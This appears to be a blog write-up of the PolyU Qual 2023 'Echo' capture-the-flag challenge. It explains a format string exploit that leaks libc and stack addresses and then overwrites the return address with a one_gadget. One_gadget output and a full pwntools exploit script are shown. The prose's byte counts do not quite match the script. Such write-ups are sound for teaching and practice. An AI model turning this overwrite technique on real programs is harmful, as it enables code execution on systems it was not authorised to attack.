bebop404

Polyu Qual 2023: Echo

Three-shot format string exploit — leaking libc and stack in the first payload, then writing a one_gadget address in two 2-byte chunks to hit execve.

There are three chances to perform format string attacks, each with an input size of 24 bytes.

Challenge binary

Noticing that the values of the registers are returned when the program finishes, we can use this information.

Register dump on exit

In libc, the conditions for the one_gadget are as follows, which can be met:

$ one_gadget ./libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
 
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
 
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

For the first input, it leaks the addresses of libc and the stack. Based on the return address, we can determine the base address of libc and the stack address corresponding to the ret instruction. Modifying the one_gadget requires 5 bytes, but since printf can modify at most 4 bytes in one go, we split the modification into two steps to write 5 bytes in total. After modifying the address of one_gadget, a shell is obtained.

Payload:

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
 
# p = remote("chal.polyuctf.com", 31340)
p = process(['./echo'], env={'LD_PRELOAD': './libc.so.6'})
libc = ELF('./libc.so.6')
 
p.recvuntil("Tell me something:\n")
p.sendline("%43$p%40$p")
ret = int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recv(14), 16) - 0x100 + 0x18
 
success("ret => " + hex(ret))
success("stack => " + hex(stack))
 
# First payload to write the least significant 2 bytes
payload = "%" + str((ret + 0xe3b01) & 0xffff) + "c%10$hn"
p.sendline(payload.ljust(16, "a") + p64(stack))
 
# Second payload to write the next 2 bytes
payload = "%" + str(((ret + 0xe3b01) >> 16) & 0xff) + "c%10$hhn"
p.sendline(payload.ljust(16, "a") + p64(stack + 2))
 
p.interactive()